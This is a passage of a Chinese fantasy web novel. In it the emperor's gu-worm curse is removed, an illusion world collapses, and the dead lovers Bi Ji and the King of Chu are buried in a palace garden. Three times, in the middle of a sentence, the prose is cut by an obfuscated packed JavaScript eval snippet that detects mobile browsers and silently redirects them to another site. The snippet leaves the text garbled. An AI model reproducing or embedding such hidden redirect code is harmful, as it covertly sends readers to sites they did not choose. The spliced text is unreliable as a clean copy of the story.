陈重熙马上出了门,姚复不满地靠在应瑕肩上,问道:“他跟你说了什么啊?还得避着我一个病患。” 应瑕瞟了他一眼,又移开目光:“他说,让你吃好喝好。” “什么意思?”姚复抬起脑袋,一双眼睛写满了担忧与震惊,“这还药石无医了?” 应瑕终于笑了笑,回答道:“骗你的。他跟我说了什么,不能告诉你。” 姚复正有些不悦,忽而想到了云母山上应瑕与须弥芥子的对话,直觉要是自己知道了真相便会有不可挽回的后果,只好偃旗息鼓就此作罢。 “好吧,不说就不说。”姚复躺回床上,扯上被子,“你记得告诉那些老头,我生病了,没法上朝——刚刚司空谷那什么态度,文书全都扔给他!” 应瑕觉得他大约真疯了,可是又感觉和从前的没什么区别,只是极其别扭拧巴,又找不到合适的词汇来形容。 她看着姚复缩在被子里翻了几个身,大脑被一股不知来源的空白占据,过了好一会儿才听到姚复说:“你别一直看着我好吗?” 应瑕这才恍然回神,愤愤出了门,再度进了花园。 碧姬,又是碧姬。 她近来不知为何难以控制姚复的心神了,于是就下蛊来摧毁他的防线? 那只虫子也不知会不会把碧姬所见所闻的现世之事全盘传输给姚复,若是如此,离这个幻境崩塌也不远了。 现在也只能祈求陈重熙快些从阖闾城带来消息,沿江而上到长安最快只需要三日,若是有须弥芥子一般御风而行的能力,不出半日就能回来。 可江南的梅雨也太厉害,耽搁了陈家家主的行程。 那只虫子确实对姚复的生命没什么危害——可他这十几日问了二十三次应瑕关于桥虹的事,坚称他没有死就算了,还开始说碧姬的阵前舞、韩玉筝的雪苋菜。这些东西在幻境里都未曾发生过,不是他在慢慢想起来又是什么? 应瑕每次都是坚称不知,要么就是含糊其辞。 陈家主到长安之前,她只好让人调了安神的药,每次一旦他有想起来的趋势,就喂上一点。待到皇帝安然睡下,应瑕总会忧虑地看窗外或是明净、或是阴沉、或是烈日灼灼、或是星移斗转的天空。 在最微不可查的云层之后,天空已经生出了细小的裂隙。 跟着陈家家主一同进京的还有一具棺椁——据说陈重熙刚回去没几天,与父亲刚交谈了没几句,不知出于什么原因,便挥剑自刎了。 与桥虹一样,在落到鸟尽弓藏的地步之前死掉无疑是明智的抉择。 现在丢了性命还能保全全家,过几年再死可能就要牵连九族。 陈重熙的父亲看着很年轻,不知道的还以为他只有二三十岁。他气质温文尔雅,生的是儒生面相,倒不似陈重熙一副高深莫测机关算尽的精明相。 “见过殿下。不知陛下情况如何了?”陈家主在城门处远远对着出城迎接的应瑕行了一礼,随后抬脚走近询问。 应瑕在现世里未曾见过他,却不知他如何认出自己来的——她低头看看自己的衣服,与平常并无区别,仍是素净的白衣,也不是什么名贵布料。她从来不会穿金戴银,也不爱上妆,站在街上与平常女子也没什么区别。 陈家主见她有些疑惑,便笑笑解释:“啊,重熙已经把大致情况与在下说过了。他先行回现世去了,殿下不必担心。” 应瑕仍是蹙着眉,但不得不把希望寄托在他身上:“碧姬给他下的蛊让他出现了幻觉——身体倒是无恙,只是精神不大好。” “容在下仔细看看?”陈家主仍是和煦地笑着,又随口嘱咐随从:“至于尸体……在长安城找个地方葬了吧。这日头,也不好再送到滇州去了。” 反正陈重熙不是真死了,应瑕便也不多理睬,只朝着马车做了个“请”的动作,以表示足够的尊重。 姚复的情况确实不容乐观,他幽灵一样站在寝殿门口,脸色更是比刚死的陈重熙还不好看,一见到有个陌生人过来,脸色更是难看。 “他是谁?”姚复微微抬着下巴,很是委屈又故作坚强地问应瑕。 “如你所见。”应瑕指着姚复对陈家主说,随后她上前一步,拉住他的胳膊,极为生硬地哄劝道:“你别误会,是来给你取蛊虫的医师。陈重熙也死了,你高兴了吧。” “哼。”姚复用极为苛刻的目光上下看了陈家主几眼,然后冷哼一声进了屋子,只留下声音来,“这次我就原谅你了。” 应瑕推着他进屋子,一边给陈家主比手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720713|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势让他跟着进来,随后金桃就从外面把门给关上了。 姚复露出一只胳膊,朝着陈家主伸出一只胳膊,朝着中间一块软肉指了指,然后转头问应瑕:“昨天那个碧姬又来。她提到姚浔,先前父亲也说过浔儿。姚浔到底是谁?” 应瑕深吸一口气,没急着回答,姚复定定盯着她的脸。 忽然感到有什么东西扎在了自己的皮肉上,姚复低头一看,陈家主半蹲在地上,手里拿着一支银针正欲往自己胳膊上扎,而蛊虫待着的那块皮肉上,正扎着一根明晃晃的长针。 “啊啊啊——” 好像是蛊虫的反应,又好像是姚复的反应,他立时尖叫起来,应瑕使劲按住他的一只手,让他没办法把胳膊上那根针拔下来,陈家主也眼疾手快地又往他胳膊上扎了一根针。 “快拿走!快拿走啊!” 大约是蛊虫本能的畏惧,连带着宿主也在不住叫嚷挣扎,应瑕几乎要按不住他,只好朝着门外喊:“金桃!找两个侍卫过来按住陛下!” 金桃在门外招呼人的喊声很快响起,须臾之间三四个身强力壮的侍卫便进了门,一股脑把姚复按住,又换了个姿势架好。 陈家主手指一抖,针尖扎错了方向,只好随意拔出来重新扎,带出来一溜血珠。 “你别怕,你别怕啊。”应瑕欲哭无泪地抓着姚复的手腕,“再扎几针虫子就出来了。” “不,我不害怕。”姚复忽然异常镇静地说,“可是我控制不住啊!” “别扎歪了啊大夫!刚那一下好疼!”姚复又开始绝望的叫起来。 陈家主好歹也是见过大风大浪的人,看着姚复挣扎成这个样子硬是一点也没慌,仍是有条不紊地往他身上扎针。 约莫两柱香时间,陈家主忽然收针站起来往后退了一步,应瑕还没来得及问,却见一只肥硕的虫子落在了自己的手背上,几只脚啪嗒啪嗒地在她手上走了两步,又跌在袖子上,留下几道血迹。 “啊!!!”应瑕尖叫一声,把那虫子甩在地上,又狠狠踩了两脚,“我的衣服!” “珠英,别踩了。”姚复从侍卫身上挣脱下来,脸色苍白,一手撑着床榻,一手掩着唇说道:“呕……这玩意也太恶心了。” 侍卫们迅速退出屋子,应瑕悻悻移开脚,把外袍脱掉,随意把手背上的血迹在上头蹭了干净,连着踢下来的鞋子一起丢在那虫子留下的悲惨血迹上,盖的严严实实。 金桃很快打了水拿了抹布进来,另寻了几个婢女,迅速把血迹清洗干净,脏衣服也收走了。 “衣服丢掉吧。”应瑕看着婢女手里拿着的外袍,有些厌恶地蹙了蹙眉头。 其实许多婢女拿了要丢掉的东西是不会扔的,尤其是这些布料,她们会把衣服洗一洗,布料剪裁一下,或是留在身上做手帕,或是送出宫去给家里人用。 “不行我真受不了……”姚复还是感觉有些反胃,稍微平复一下之后,抓起桌子上泡的茶水——已经冷了,喝了几大口,方才又坐回来。 “谁发明的这种东西。”姚复无语地望着床上帷幔上的硕大绸布花球,“除了恶心人真的有别的作用吗。” 73. 第73章 陈重熙一回到,现世,就马不停蹄回了江南——准确来说,没有马匹。 须弥芥子带着他御风回了阖闾城,陈家的整座山头上—— 不过是半日时间,陈家主便神不知鬼不觉进了长安皇宫的内室。 “仙子还没抓到碧姬的神魂?”陈重熙跪坐在榻前,试图观摩亲爹取蛊的过程,一边不经意地问背后的须弥芥子。 须弥芥子施施然坐在屋子里的一只火盆前——榴花欲燃的时节用不着这东西,它不过是进入幻境的阵法的阵眼。 她抱着拂尘,看着火盆里的黄色符纸和微薄的蓝色火焰,淡淡开口:“我和弟子们检索了十几遍,只在幻境里见到了楚王的神魂。圣女的神魂应当寓居在蛊虫中。” “我在幻境中未曾见过碧姬……只是我总感觉她像是变成了厉鬼。”陈重熙叹了口气,仍是盯着床上的皇帝,又或许是在透过这具躯壳看那个曾经阴郁却天真的少女。 没等须弥芥子发话,陈家主便笑着发了话:“巫蛊之术害人也不利己,蛊虫毒性难解,炼制过程怨气也深重,稍有不慎便会遭到反噬。不然你以为为什么这些小虫子材料易得、方法简单、功效显著,还是被列为禁术?” “那还能救吗?” 碧姬从很小的时候被他捡回去,久而久之早就成了家人一般的存在——要说因为修习禁术从此斩断了所有因果和情谊,陈重熙还是做不到。 他自己也才活了二三十年,在陈家主眼里还是个涉世未深的孩子呢。 须弥芥子抱着拂尘,平生头一次觉得某件事难办,最终重重叹气:“陈相也别着急。蛊虫拿出来再说吧。” “早知道这事我当年就不该下山。”陈重熙负气一般趴在床榻上抱怨道。 床上这两个人一时半会醒不过来,也没人管他失礼不失礼。 那只五彩斑斓的黑色虫子——真的是五彩斑斓的黑色,如同鸦羽一般,无光时暗淡无比,烛火下斑斓非常——不多时就被取了出来,附在针尖。 它极小,只有指甲大小,当初能被姚复看见想必都是极其勉强的。 陈重熙从袖子里摸出一只透明的水晶瓶,陈家主拿着针往瓶口磕了两下,蛊虫立时滑了进去。 这显然不是它的目的地,可水晶瓶的腹壁太滑,根本无法借力上去。 须弥芥子结果陈重熙递过来的虫子,望着火盆,说了一句:“现在申时,算来幻境里应当是武和元年八月了。” “天符八年,仙子。”陈重熙拎着衣摆坐到火盆前面,也看着火焰,出言提醒。 现在海晏河清天下一统,但是百废待兴——于是中秋节团圆夜姚复还是把文武大臣强叫上了朝堂,坚决不肯休沐。 这群老老少少回家了跟家人们团圆赏月吃月饼,姚复和应瑕还得在破破烂烂刚修好一半的皇宫里批文书,从黑夜到天明。 凭什么。 难道当皇帝就必须得一年三百六十日、一日十二个时辰,时时刻刻待命批文书? 解臻说的果然没错,奴隶制没有消除,不过这深宫里的奴隶只有皇帝自己罢了。连宫女和侍卫都被应瑕遣走回家了。 姚复把腿伸直,拉了一把应瑕,把她弄醒,惬意地看着底下昏昏欲睡的大臣—— 辰时都该下朝了,现在将近巳时,何况姚复特意寅时起来紧急召的朝会。 “好了,刚才说完册封功臣的事,咱们再说说给韩卿造的那艘船——”姚复满意笑笑,顺便看了看韩玉笙的表情。 当时要船的时候兴致冲冲,现在一说起来竟一点波澜都没有。 姚复忽然想到了如何把那船据为己有,转了转眼珠子,笑说:“既然韩卿没什么反应,想来也是不需要这船了,既然如此——” 应瑕猛然拉着他,也是半抬着眼皮,说道:“够了。那船停在长安西边五十里渭水的码头上。韩卿自己去取。” 随后她打了个哈欠,说道:“没事的话就散朝吧……” 姚复咂咂嘴,抓住起身欲走的应瑕,把她又拽回椅子上,笑着命令大臣们:“都慢着。午时再走,回去休息两个时辰,今天酉时加个晚朝。” 大臣们敢怒不敢言,只好收回抬起来的脚,把不满憋在心里。 “朕忽然想到——储君是国之根本。”姚复又随便挑了个话题发问,“假设朕要从宗室中过继一个孩子,众卿觉得叫什么名字好?” 应瑕翻了个白眼,无奈地躺在姚复肩膀上,准备闭上眼睛再睡一会儿——昨天夜里碧姬又潜入了宫室,这回攻势格外猛烈,两人上蹿下跳了一宿,最终碧姬嘶吼一声凭空消失了。 当时已经丑时了,姚复睡不着,也拉着应瑕不准睡,上了朝又把她叫醒十几次。 由于她和姚家人的气质格格不入,姚复也不肯自己回长沙,干脆递了文书去,打算和应瑕一起在长安过中秋。 大约他是因为此事怀恨在心。 明堂紧闭的大门忽然被重重砸响,争论不休的大臣们安静了一瞬间,姚复抬手让人把门打开了——重建皇宫时让匠人改了构造,明堂在宫墙外面,门口树立了两面大鼓,朝会时民众有冤可以来击鼓申诉。 这可是本朝建国以来头一遭,必须好好对待。 来的人不是鸣冤的平民。 姚复看着门口的人良久才认出来—— 这个蓬头垢面有如乞丐的人是昔日脱逃的楚王,屈郢。 他抬起手,正要让人把他就地格杀,却被应瑕拦住了。 她拎着宽大的朝服,从龙椅上站起来,站在龙椅下的玉阶上,再度展现出她许久未曾暴露过的与生俱来的威严肃杀。 “楚王来做什么。” 屈郢随意撩起额边的头发,只是很平静地说:“孤知道殿下之所求,只想拜托你一件事。” 应瑕揣着手,微微眯起眼睛,威压铺满小小的明堂,连姚复都忍不住呼吸一滞——应瑕平日对他还是太温柔了。 “我答应了,你就能心甘情愿去死吗?”应瑕冷声问道。 屈郢郑重点头:“我只求殿下能救碧姬的生魂——如果实在无能为力,将我们埋葬在一处也好。” 应瑕沉默了一会儿,想到背后坐着的姚复,终于还是说:“碧姬昨夜来过,得手之前消失了。想必已经是无力回天了。至于尸骨——我不知道在哪儿。” 屈郢神态仍是很平静,只是忽然开口问龙椅上的姚复:“陛下,你还记得天符三年八月既望出生的那个孩子叫什么吗?” 按照现世里的时间,屈郢在天符四年六月,夏蝉嘶鸣的时节,见碧姬跳了最后一支舞。他一般是记不得这么准确的日期的,可那个孩子生的太不是时候——那天碧姬的蛊虫大成,却永远失去了自己的孩子。 应瑕的脸色倏而变了,她连忙拎着宽大的衣摆往玉阶上方走去,姚复撑着头,几乎是忍不住地思索着“天符三年八月既望寅时二刻”这个时间,只觉得熟悉,却又毫无印象。 他思索了一会儿,忽然抬头问应瑕:“我总觉得那天好像受了伤——可是明明记得当初假死出逃,一路到了雒邑。” “你别想了,你别想了。”应瑕坐回椅子上,握住姚复的手,窗外滚滚的雷声不绝于耳,可是从明堂敞开的大门往外望去便知——是天空正在碎裂,它如同一块破碎的镜子,正片片剥离着,露出斑驳的空洞。 她不知道昨天碧姬为什么会突然消失,也许是事成了,可如果——只是她在诈他们呢? “我们应该是祥和八年正月成的婚,对吧?”姚复也能看见正在坠落的苍穹,却还是坚持问道,“三书六礼,都应该齐全的。祥和八年二月我才上任,同年七月皇帝驾崩。天符元年起兵,分明是一切顺遂,到了四年就荡平了天下——改元武和。” 姚复不受控制地回忆着,所有不属于他、又确实属于他的记忆从脑海中一一浮现,苍穹的崩裂声越来越大,真如共工撞断不周山时,从裂口倾泻出大水。 “他叫姚浔。”姚复忽然甩开应瑕的手,站在玉阶上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720714|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,俯视着屈郢,全然没有大难临头时该有的反应,“所以呢?我想起来了,你又要说什么?” 屈郢勾唇笑了笑,说:“皇后不肯劳烦找到我们的尸骨,那就麻烦陛下了。哪怕能得以安息的只有碧姬也好。” “如你所说,我都要死了,你跟我说这些有用吗?”姚复笑了笑,转头对应瑕说,“珠英,如果我死了,你回去拥立太子也好,亲登大宝也好,每年给我烧点纸钱就行。你要再嫁也行,别让孩子忘了亲爹……” “闭嘴!”应瑕站起身子,怒斥出声,“你们两个站在底下做什么!水都要漫上来了!” 底下的水已经过腰了,不多时就能淹死人,上朝时不准带武器,只有韩玉笙拿了把匕首,在几个功臣手里各自过了一遍,全部回了现世。 别的大臣都当他们疯了,却也不敢多想,只省着时间爬到台阶上。 台阶撑不了多久,外面的天穹已经完全陷入了黑暗,应瑕发现一块坠落的碎片里倒映着一只巨大的瓶子—— 一缕白发从中一闪而过。 看样子那蛊虫被取出来了。应瑕松了一口气,旋即发现时间的流速与外界达成了一致,她几乎是喜极而泣。 她连忙摘下来头上的首饰,脱了繁冗的外袍,一头扎进了水里,往明堂外面游去。 大家有一个算一个,都赶紧跟着划水出去了——这水的浮力倒是很大,足够一个人飘在上头。 姚复搀着应瑕踩上一块儿碎片,须弥芥子拿着两只瓶子——其中之一装着只狰狞可怖的虫子,另一只则是乖乖坐在那儿的碧姬。 陈重熙把记录解蛊方法的本子放下,看着姚复微微颤动的睫毛,忽而问须弥芥子:“仙子,他这是要醒了?” 须弥芥子刚把碧姬的神魂提出来装瓶,听到这话有些纳罕,便提着瓶子站在榻前,随后淡然说:“给他一针。” 陈家主方才走了,事了拂衣去,深藏身与名,烂摊子全扔给了陈重熙。 他拿出一根银针,随便扎了姚复一下,除了往外冒的血珠外,并没有什么作用。 司空谷急急推门闯进来,抓着桌上刚泡的热茶喝了一口,随后对须弥芥子说:“不好了师父,幻境开始崩塌了!” “急什么,蛊虫取出来了。”须弥芥子没什么反应,只是对地上坐着的陈重熙说,“一针不够,继续扎。” 司空谷坐回火盆前,拧眉看了一会儿,说道:“师父,他们好像出不来。而且楚王的魂魄也在里面——” “嗯?”须弥芥子有些迷惑地发出一个鼻音来,走到火盆边上也开始看起来,“人死后,魂升于天,魄沉于地,不要再出错。你在这里守着,我进去看看。” 她把装虫子的瓶子扔到桌上,装着碧姬的那只则握在手里,随后往火盆里又扔了一张符纸。 里面确实崩塌的不成样子了。 好在她有应对此类事故的经验,一眼锁定了一块碎片上的人们。 “楚王,碧姬的神魂已经救回来了。”须弥芥子站在高高的角楼上——整个长安最高的建筑,水面要蔓延到上头还有一段距离。 远处的一个大窟窿在不断往下灌水,可水面要到幻境的出口、天穹的裂隙还远着呢。 “就是!你难道还想在我的身体里待一辈子吗!”姚复站在那碎片上,朝着不远处水里的屈郢喊。 他和应瑕往旁边挪了能容纳一人的空间,可屈郢怎么也不肯上来,硬要陪着他的碧姬一起形神俱灭。 屈郢抬眼去看天角,他一眼就能看见须弥芥子手里的小瓶子,几乎可以笃定那就是碧姬。 晦暗无光的眼中忽然迸发了希望,屈郢连忙用尽最后的力气靠上了那块碎片。 属于这个幻境的人即便找到泊点,很快也会湮灭。不属于这个幻境的人,终于踏上了回到现世的路径。 须弥芥子挥一挥拂尘,楚王的魄化作星光,飘散进了瓶子里。 她再一挥拂尘。年轻的帝王和皇后挽着手臂一同飞向了天际。 74. 第74章 也许是躺的太久,姚复只听到有人喊了一声:“陛下醒了!” 旋即就是一阵纷杂的脚步声,似乎有很多人都闯进了房间,声音也又多又杂,有欢快的呼告,也有劫后余生的欣喜。 “把桌上的茶壶拿过来。”应瑕的声音从头顶传过来。 饮水声在头顶尺余处响起,眼前也渐渐恢复清明。 五六张脸映在眼前,姚复无奈的开口:“你们几个,都别走。” 几个人面面相觑,不约而同地后退几步,最终韩玉笙笑着开口问应瑕:“殿下,陛下说什么呢,听不清啊。” “晚上办夜宴,留下来吃完饭再走——放心,只是普通的宴会,没有勾心斗角。”应瑕揉揉眉心,坐到榻边,把姚复拉起来,“自己能坐起来还要我扶,惯的你。” “夜宴啊,哈哈哈。”韩玉笙笑着后退半步,旋即换了话题,“那我的船呢?” 应瑕又喝了两口茶,说道:“答应你的就不会食言,你回阖闾城等着就好。” 须弥芥子收起火盆,打算转身离开,却被叫住了:“仙子,朕欠了您不少人情,晚上真的不留下来与宴?” “不必。”须弥芥子在门口停了一下,“这人情,我的小徒弟尘生迟早回来讨。届时陛下为他网开一面便是。” 姚复勉强笑了笑。 端阳节刚过了没多久,即便姚复没法主事,宫里还是如同往年一样做好了辟百邪、驱五毒的工作,到处弥漫着艾草的香气。 夜宴没让应琼跟着上场做饭,倒也不必担心餐饭的味道。 先坐不住的总是小孩子们。 姚复笑着默许了稚子越过皇帝先下手吃饭的“僭越行为”,只是制止住了太子给陈延楸喂东西的行为——那是一整块没去刺的鲤鱼肉。 孩子们在宴席上笑的欢快,根本不懂大人们的世界。 姚复举起酒杯,坐在主位上笑说:“九年前大家随朕征战四方,功不可没;近日来大家又舍身相助,确实是朕欠了大家的人情。 朕思来想去,还是觉得这三年失却了初心。鸟尽弓藏确不是君子所为,朕也无心再去追究。只是夜宴之后,希望大家能把兵权交回来——朕会给你们安置田产,保一世无忧。” 武将们都愣了一会儿,旋即笑起来,新涂率先把手里的兵符丢进了金桃手里的金盘,几个将军挨个站起来,跟着把兵符抛上去,又迅速落了座。 虎符握在皇帝手里,这些乱世之中供地方调兵遣将用的兵符也是时候收回来了。 “珠英,圣旨拿来了吗?”姚复把酒喝完,笑着转头问应瑕。 应瑕拿手帕擦擦唇上的油脂,用眼神示意金桃。 金桃把托盘送进另一个婢女手中,从袖中拿出圣旨来,咬字清晰不疾不徐地念起来:“太师司空谷,封长沙侯,食邑三百户,良田八百亩,赐丹书铁券,不得袭爵;右丞相陈重熙,改任钦天监监正,擢拔至正二品,命于阖闾城重建天文台,每年须入京觐见,如外官,可袭职; 大将军新涂,停将军职,封镇国公,于长安开府;骠骑将军解臻、车骑将军解斛珠依次拔级,镇守边关,无军令不出征。” 她顿了一顿,似乎有些难以启齿地继续说:“韩都督,改任合浦郡守,督促采珠之制变革及赋税事宜。桥尚书、魏尚书官任原职。” 她用一种很奇怪的眼神看了韩玉笙一眼,怀疑他在幻境里做了什么坏事,一出来突然从督管几路军队的统帅,忽然降职成了一个偏远小郡、不毛之地的郡守。 姚复举着酒杯,又抿了一口,笑说:“你这宝船不出海也是白搭,不如在南海远航够了再跟着陈监正回阖闾城去。” “陛下有心。”韩玉笙举杯回敬,心里却是一百个不服气:阖闾城东边也是海,照样能航船,姚复分明就是不想让他碍着韩玉筝的眼,免得对年幼的陈延楸、未来的太子妃造成什么不良影响。 也不知当时司空谷多说什么话,非说陈延楸命格大贵,利于家国大运,方才被指腹为婚的。 现在害的他根本没办法监督陈重熙对韩玉筝的小动作。 先前“鸟尽弓藏”的事算被轻轻揭过了,甚至是可以说每个人都得了利,宴会很快又陷入了欢乐祥和的氛围。 也许是尘埃落定后心神松懈,酒席还未过半,大家便醉的七七八八了,应瑕叫来婢女,把醉倒的人暂且安排在宫里,蹲下身子对太子说:“浔儿,带大家到花园儿里玩玩儿吧。” 她其实不怎么愿意让太子往花园里去,那儿种了一颗梅树,是前朝留下的,老干虬枝的,本都以为被烧死了,第二年春天竟生了新苞。 太子又顽皮,老爱乱跑乱爬,一不小心就会受伤。 桥虹的女儿八岁,应当能看好这一群孩子。 太子欢呼一声,马上抓住陈延楸的手,转身从小路钻进了花园。 应瑕扶起姚复,把他架回内室去,无声的叹了口气。 他很少喝醉,这次倒是个例外。 “双福,他们走了吗?”姚复忽然睁开眼睛,握住应瑕的手,笑着问。 “没呢。”应瑕把醒酒汤端来,拿小匙搅动着,准备待会儿喂他喝下去。 “嗯……我想到了好多。”姚复忽然坐起来,趴在应瑕肩上,“以布衣平天下,最后竟然与前朝的肉食者无异……我想,我找到我的初衷了。” 应瑕笑笑,没说话,随后举起小勺,把醒酒汤喂给姚复,随后说:“你其实不用找它。你的一片赤子心全都放在我这儿——” 姚复还是不甚清醒,歪头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720715|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她笑了笑。 “——我的所作所为,都是基于你的意志。你想做什么,我就尽力为你做成。”应瑕把碗放下,继续说,“我初来乍到,不知生存的意义。你带我看见人间百态,从此成了我生命中的光。” “……”姚复躺回床上,仍是似懂非懂地看着她。 酒液麻木了他的思绪,不过这次已经没有碧姬乘虚而入了。 到了五月的末尾,金陵有人在某处战场挖到了屈郢和碧姬的尸体,寻了简陋的棺椁装起来一路运到了长安,打算邀功领赏。 据说那边战场完全是荒地,只有掩埋两具尸体的土地上开满了荼蘼——这春末的最后一支花,一直到了要与西子争艳的时节还在盛放,自然有奇特之处。 农夫和士兵挖开了土地,果然见了当时被姚复草草掩埋的碧姬,在不远处把屈郢也挖了出来。 两具尸体都神色安然,肌肤吹弹可破,仿佛只是陷入了长眠。 姚复赏给那几个人一些黄金,让人打了合葬棺。 五月的最后一天,他忽然问应瑕:“你还想要楚王的头吗?” 来探望的应琼惊讶地张大嘴巴,应瑕手里的糕点掉在了裙子上,良久她才开口:“不要。我在吃东西呢。” “啊,我还说恰巧能压着时间把大礼送给你呢。”姚复环臂倚在门框上,又问,“那把他们埋在哪?长安城可是寸土寸金——还是说把他们运回滇州或是江南?” “埋花园儿好了。”应瑕拾起衣服上那只糕点,咬了一口继续说,“碧姬生前看不到繁花锦绣,死后总得好好看看。况且埋在花园也不用钱,还不怕有人盗墓。” “好吧。”姚复也上前拿了一块糕点吃起来,就势坐下问,“那随葬品呢?我不打算给太多,毕竟我们也没钱。他们留下来的东西早就被哄抢一空了,也就剩那只虫子还活着。” 应瑕又愣了一下。 一个人死后如果要厚葬,花费的钱真不少——修缮豪华的墓室,用名贵的用品做随葬,再用上好的玉堵塞七窍,还要延请送葬的队伍。 “能安葬就不错了!要什么随葬!虫子埋进去!”应瑕忽然觉得手上的糕点失去了原本的香味,只好有些郁闷地堵了回去。 最终这对鸳鸯还是被草草埋进了御花园那棵老梅树底下。 太子郑重的把那只装着蛊虫的小瓶子一并埋了进去,看着匠人们把土盖上,太子终于抬头问父亲:“父皇,里面埋的谁?” “从前给过你一颗糖,但被你当面丢掉了的碧姬娘子。”姚复笑着拍拍他的脑袋,拉着应瑕从另一边的小门出去了。 荼蘼花再度破土而出,盛夏的阳光直直照在那一方简单的墓碑上,映亮了两行鎏金的小字:“吴地春寒花渐晚,北归一路摘香来。”